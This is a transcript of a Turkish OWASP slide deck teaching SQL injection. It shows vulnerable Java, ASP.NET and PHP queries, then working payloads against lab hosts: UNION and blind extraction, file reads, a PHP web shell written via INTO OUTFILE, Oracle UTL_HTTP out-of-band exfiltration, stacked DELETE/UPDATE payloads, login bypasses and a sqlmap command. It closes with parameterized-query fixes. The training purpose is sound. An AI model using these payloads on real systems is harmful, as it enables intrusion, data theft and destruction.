Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP...
Transcript of Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP...
![Page 1: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/1.jpg)
Her Yönüyle SQL Enjeksiyonu
OWASP-Türkiye
Bünyamin Demir
![Page 2: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/2.jpg)
Bünyamin Demir ( @bunyamindemir ) – OWASP Türkiye Bölüm Lideri
– Founder & CTO @ Enforsec Ltd. • Sızma Testleri Uzmanı
– Web, Mobil, Network, SCADA, Wireless,
– Sosyal Mühendislik, ATM, DoS/DDoS ve Yük testi
– Kaynak kod analizi
• Eğitmen – Web/Mobil Uygulama Güvenlik Denetimi
– Güvenli Kod Geliştirme
– Veritabanı Güvenliği
2
![Page 3: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/3.jpg)
SQL Enjeksiyonu
3
'
![Page 4: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/4.jpg)
SQL Enjeksiyonu
4
uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL
sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır.
![Page 5: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/5.jpg)
Zafiyet Barındıran Örnek Uygulamalar
5
Bana … öğrencilerini getir.
Bana 5A öğrencilerini getir.
Bana 5A veya 5B öğrencilerini getir.
![Page 6: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/6.jpg)
Zafiyet Barındıran Örnek Uygulamalar
6
... String className = request.getParameter("class"); String query = "SELECT * FROM students WHERE class = '" + className + "'"; ResultSet rs = stmt.execute(query); ...
... string className = class.Text; string query = "SELECT * FROM students WHERE class = '" + className + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ...
... $className = $_GET['class']; $query = "SELECT * FROM students WHERE class= '$className'"; $result = mysql_query($query); ....
![Page 7: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/7.jpg)
SQL’in Çalışması
7
![Page 8: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/8.jpg)
SQL Enjeksiyonu Çeşitleri
8
• Genel SQL Enjeksiyonu
• Union Tabanlı (Union Based) SQL Enjeksiyonu
• Hata Tabanlı (Error Based) SQL Enjeksiyonu
• Kör (Blind) SQL Enjeksiyonu
• Zaman Tabanlı (Time Based) SQL Enjeksiyonu
![Page 9: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/9.jpg)
Genel SQL Enjeksiyonu
9
http://www.okul.loc/OgrenciListele.aspx?class=1
SELECT name, lastname , no FROM student WHERE class=‘1’
![Page 10: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/10.jpg)
Genel SQL Enjeksiyonu
10
http://www.okul.loc/OgrenciListele.aspx?class=1' or '1'='1
SELECT name, lastname , no FROM student WHERE class=‘1’ or ‘1’=‘1’
![Page 11: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/11.jpg)
Genel SQL Enjeksiyonu
11
![Page 12: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/12.jpg)
UNION Tabanlı SQL Enjeksiyonu
12
SELECT column1,column2 FROM table1 UNION SELECT column1,column2 FROM table2
“UNION” iki tabloyu birleştirir ve tüm kayıtlar tekil olacak şekilde listeler;
SELECT column1,column2 FROM table1 UNION ALL SELECT column1,column2 FROM table2
“UNION ALL” ise iki tabloyu birleştirir ve tüm kayıtları tekil olmayacak şekilde (aynı kayıttan birden fazla görme ihtimaliniz var) listeler.
![Page 13: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/13.jpg)
UNION Tabanlı SQLi - Tespiti
13
Veritabanı Hata Mesajı
MSSQL All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
Oracle ORA-01789: query block has incorrect number of result columns.
MySQL The used SELECT statements have a different number of columns.
MS Access The number of columns in the two selected tables or queries of a union query do not match.
![Page 14: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/14.jpg)
UNION Tabanlı SQLi - ORDER
14
SELECT * FROM kullanici ORDER BY 1
SELECT * FROM kullanici ORDER BY 2
Veritabanı Hata Mesajı
MSSQL The ORDER BY position number NUM is out of range of the number of items in the select list.
Oracle ORA-01785: ORDER BY item must be the number of a SELECT-list expression.
MySQL Unknown column 'NUM' in 'order clause'.
MS Access Microsoft Jet database engine does not recognize '4' as a valid field name or expression.
![Page 15: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/15.jpg)
UNION Tabanlı SQLi - Tespiti
15
http://www.okul.loc/OgrenciListele.aspx?class=1
![Page 16: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/16.jpg)
UNION Tabanlı SQLi - Tespiti
16
http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT null,null,null,null,null--
![Page 17: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/17.jpg)
UNION Tabanlı SQLi - Tespiti
17
http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,'test',null,null--
![Page 18: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/18.jpg)
UNION Tabanlı SQLi - Tespiti
18
http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,@@version,null,null—
![Page 19: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/19.jpg)
Hata Tabanlı (Error Based) SQL Enjeksiyonu
19
![Page 20: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/20.jpg)
Hata Tabanlı (Error Based) SQL Enjeksiyonu
20
![Page 21: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/21.jpg)
Hata Tabanlı (Error Based) SQL Enjeksiyonu
21
![Page 22: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/22.jpg)
Hata Tabanlı (Error Based) SQL Enjeksiyonu
22
![Page 23: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/23.jpg)
Hata Tabanlı (Error Based) SQL Enjeksiyonu
23
![Page 24: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/24.jpg)
Kör (Blind) SQL Enjeksiyonu
24
http://www.davshan.loc/friend_info.php?fid=2
SELECT * FROM friends WHERE fid=2
![Page 25: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/25.jpg)
Kör (Blind) SQL Enjeksiyonu
25
http://www.davshan.loc/friend_info.php?fid=2 AND 1=1
http://www.davshan.loc/friend_info.php?fid=2 AND 1=2
SELECT * FROM friends WHERE fid=2 AND 1=1
SELECT * FROM friends WHERE fid=2 AND 1=2
![Page 26: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/26.jpg)
Kör (Blind) SQL Enjeksiyonu
26
... $stmt = $mysqli->prepare("SELECT F.*,U.* FROM users U INNER JOIN friends F ON (F.friend_id=U.user_id) WHERE F.friend_id=$this->friend_id AND F.user_id=? AND F.verify=1"); $stmt->bind_param('i',$this->user_id); $stmt->execute(); ....
![Page 27: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/27.jpg)
Kör (Blind) SQL Enjeksiyonu İstismarı
27
Sorgu Çıktı Yorum
SELECT database() davshan Veritabanı ismi
SELECT SUBSTRING((SELECT database()),1,1) d Veritabanı isminin ilk karakteri
SELECT ASCII(SUBSTRING((SELECT database()),1,1)) 100 Veritabanı isminin ilk karakterinin ASCII değeri
![Page 28: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/28.jpg)
28
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=97
Kör (Blind) SQL Enjeksiyonu İstismarı
![Page 29: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/29.jpg)
29
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=98
Kör (Blind) SQL Enjeksiyonu İstismarı
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=99
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=100
![Page 30: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/30.jpg)
30
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),2,1))=97
Kör (Blind) SQL Enjeksiyonu İstismarı
![Page 31: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/31.jpg)
Zaman Tabanlı (Time Based) SQL Enjeksiyonu
31
![Page 32: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/32.jpg)
Farklı SQL İfadelerinde SQLi INSERT Cümleciği
35
![Page 33: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/33.jpg)
Farklı SQL İfadelerinde SQLi INSERT Cümleciği
36
![Page 34: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/34.jpg)
Farklı SQL İfadelerinde SQLi INSERT Cümleciği
37
![Page 35: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/35.jpg)
38
UPDATE CREDITCARD SET NAME='”+name+”' WHERE USERID=1
Farklı SQL İfadelerinde SQLi UPDATE Cümleciği
a'--
UPDATE CREDITCARD SET NAME='a'-- WHERE USERID=1
![Page 36: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/36.jpg)
39
http://www.minishop.loc/creditcard?cmd=delete&cardid=29
Farklı SQL İfadelerinde SQLi DELETE Cümleciği
DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID="+cardid+"
http://www.minishop.loc/creditcard?cmd=delete&cardid=29 or 1=1
DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID=29 or 1=1
![Page 37: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/37.jpg)
40
http://www.davshan.loc/friend_info.php?fid=2
İleri Seviye SQLi İşletim Sistemi
![Page 38: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/38.jpg)
41
…/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,LOAD_FILE('c:/windows/win.ini'),3,4,5,6--
İleri Seviye SQLi İşletim Sistemi
![Page 39: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/39.jpg)
42
http://www.davshan.loc/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,"<pre><?php passthru($_GET['cmd'])?></pre>" INTO OUTFILE "C:/wamp/www/davshan/cmd.php"--
İleri Seviye SQLi İşletim Sistemi
![Page 40: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/40.jpg)
43
http://www.davshan.loc/cmd.php?cmd=systeminfo
İleri Seviye SQLi İşletim Sistemi
![Page 41: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/41.jpg)
44
SELECT UTL_HTTP.REQUEST('http://www.bunyamindemir.com/') FROM dual
İleri Seviye SQLi Kanal Dışı
/product?pid=1 or 1=UTL_HTTP.REQUEST('http://www.bunyamindemir.com/oracle/'||(select user from dual))--
171.42.19.32 - - [07/Sep/2012:00:39:54 +0300] "GET /oracle/minishop HTTP/1.1" 404 - "-"
![Page 42: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/42.jpg)
45
abc;DELETE FROM teslimat--
İleri Seviye SQLi İkinci Kademe
![Page 43: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/43.jpg)
46
public Users login (String username, String password) {
Users user = new Users(); ....
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username='"+username+"' and password='"+password+"'");
while (rs.next()) { user = new Users(rs.getInt("userId"),UserType.USER,rs.getString("username")); }
.... return user; }
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
![Page 44: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/44.jpg)
47
SELECT * FROM users WHERE username='a' or '1'='1'--' and password='xx'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
![Page 45: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/45.jpg)
48
SELECT * FROM users WHERE username='a' or '1'='1' and rownum=1--' and password='xx'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
![Page 46: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/46.jpg)
49
SELECT email, password FROM users WHERE email = '[email protected]'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
a';UPDATE users SET email = '[email protected]' WHERE email = [email protected]
SELECT email, password FROM users WHERE email = 'a';UPDATE users SET email = '[email protected]' WHERE email = '[email protected]'
![Page 47: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/47.jpg)
50
SELECT email, password FROM users WHERE email = '[email protected]'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
[email protected]' UNION SELECT '[email protected]',password from users--
SELECT email, password FROM users WHERE email = '[email protected]' UNION SELECT '[email protected]', password from users
![Page 48: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/48.jpg)
51
python sqlmap.py -u "http://www.minishop.loc/product?pid=1" -f --banner
Sqlmap
![Page 49: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/49.jpg)
52
... String className = request.getParameter("class"); PreparedStatement psmt = conn.prepareStatement("SELECT * FROM students WHERE class=?"); psmt.setString(1, className); ResultSet rs = psmt.executeQuery(); ...
SQLi Çözümü - Java
![Page 50: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/50.jpg)
53
... string className = class.Text; SqlCommand query = new SqlCommand("SELECT * FROM students WHERE class=@clsName", conn); query.Parameters.AddWithValue("@clsName", className);
sda = new SqlDataAdapter(query); DataTable dt = new DataTable(); sda.Fill(dt); ...
SQLi Çözümü – ASP.NET
![Page 51: Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP Türkiye Bölüm Lideri –Founder & CTO @ Enforsec Ltd. •Sızma Testleri Uzmanı –Web,](https://reader031.fdocuments.net/reader031/viewer/2022041217/5e05a2d8e745e820913767c9/html5/thumbnails/51.jpg)
54
... $className = $_GET['class']; $stmt = $mysqli->prepare("SELECT * FROM students WHERE class=?"); $stmt->bind_param('s',$classNames); $stmt->execute(); ....
SQLi Çözümü - PHP